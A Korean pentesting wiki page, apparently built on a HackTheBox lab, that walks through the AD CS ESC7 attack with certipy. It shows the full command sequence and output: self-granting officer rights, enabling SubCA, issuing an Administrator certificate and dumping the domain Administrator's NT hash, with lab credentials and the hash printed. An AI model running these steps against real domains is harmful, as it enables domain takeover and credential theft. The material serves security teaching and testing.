펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

ESC7

PreviousESC6NextESC8

Last updated 1 month ago

Was this helpful?

인증기관의 설정 중에서는 Manage CA라는 속성이 있습니다. 이 속성 값이 Allow일 경우 해당 속성을 가진 사용자/그룹은 인증기관에 대해 어느정도의 제어권을 갖게 됩니다. 자세한 설명은 를 참고하세요. ManageCA권한을 통해서 스스로에게 권한을 할당하여 값이 True여서 관리자의 승인이 요구되는 상황에서도 본인이 신청한 인증서 생성 요청에 대해 승인을 할 수 있습니다.

공격을 수행함에 있어서 SubCA 템플릿을 활성화하고 사용하는 단계가 필요한데, 굳이 SubCA 템플릿을 사용해야 하는 이유는 ESC1 공격에서 요구되는 취약한 설정이 SubCA 템플릿이기 때문입니다. 그럼에도 ESC1에서 SubCA 템플릿 활성화를 통한 공격을 하지 못하는 이유는 SubCA는 기본적으로 CA 관리자만 이용할 수 있기 때문에ManageCA 권한이 있는 사용자/그룹으로는 SubCA의 활성화 및 사용이 가능합니다.

Practice

certipy-ad를 통해서 취약한 템플릿을 찾기 위해서 아래와 같이 명령할 수 있습니다.

# 명령어 양식
certipy-ad find -u <USER> -p <PASS> -dc-ip <DC-IP> -stdout -vulnerable -enabled

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad find -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates

스캔 결과 manager-DC01-CA에서 Access Rights > ManageCA 권한이 있는 사용자/그룹 중 탈취한 사용자 계정인 Raven이 포함되어 있는 것을 확인할 수 있습니다. Raven 사용자는 인증 기관에 대해서 ManageCA 권한이 있기 때문에 스스로에 대해 Issue and Manager Certificates 권한을 할당할 수 있습니다.

# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -add-officer <USER>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -add-officer raven
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

그 다음으로 SubCA 템플릿을 활성화 해야 합니다.

# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -enable-template subca

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -enable-template subca
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'

SubCA 템플릿을 활성화 시켰기 때문에 템플릿 리스트를 출력하면 SubCA가 출력됩니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -list-templates       
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Enabled certificate templates on 'manager-DC01-CA':
    SubCA
    DirectoryEmailReplication
    DomainControllerAuthentication
    KerberosAuthentication
    EFSRecovery
    EFS
    DomainController
    WebServer
    Machine
    User
    Administrator
# 명령어 양식
certipy-ad req -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -template SubCA -upn Administrator@<Domain>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad req -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -template SubCA -upn Administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 20
Would you like to save the private key? (y/N) y
[*] Saved private key to 20.key
[-] Failed to request certificate
# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -issue-request <Request ID>

#실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -issue-request 20                  
Certipy v4.8.2 - by Oliver Lyak (ly4k)                                                                                                                                           
                                            
[*] Successfully issued certificate

Raven 사용자로 인증 요청을 했던 Request ID 20번 요청에 대해서 승인을 했기 때문에 인증서 생성이 완료되었고, Request ID에 대한 인증서 조회 요청을 하면 성공적으로 Administrator의 pfx 파일이 획득됩니다.

# 명렁어 양식
certipy-ad req -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -retrieve <Request ID>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad req -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -retrieve 21                                  
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 13          
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '13.key'                     
[*] Saved certificate and private key to 'administrator.pfx'

덤핑한 도메인 Administrator 계정의 pfx 파일로 NT Hash 출력을 합니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad auth -pfx administrator.pfx   
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

References

활성화된 SubCA 템플릿을 통해 Administrator의 인증서를 생성할 것입니다. 앞서 설정한 것들은 장악한 Raven 계정에게 CA 관리 권한을 할당한 것 뿐 권한을 True -> False로 변경한 것이 아니기 때문에 인증서 생성 요청을 했을 때 인증서가 곧바로 생성되지 않습니다. 다만 인증서 생성 요청에서 요청 ID가 발급되고, Raven 계정에 ManageCA 속성을 Allow로 했기 때문에 Raven 계정을 이용해서 발급된 요청 ID에 대한 인증서 생성 요청을 허가할 수 있습니다.

Mastering Manager: Unveiling MSSQL and ADCS ESC 7 Exploits on HackTheBoxMedium
Logo
ManageCA
Issue and Manage Certificates
Requires Manager Approval
Requires Manager Approval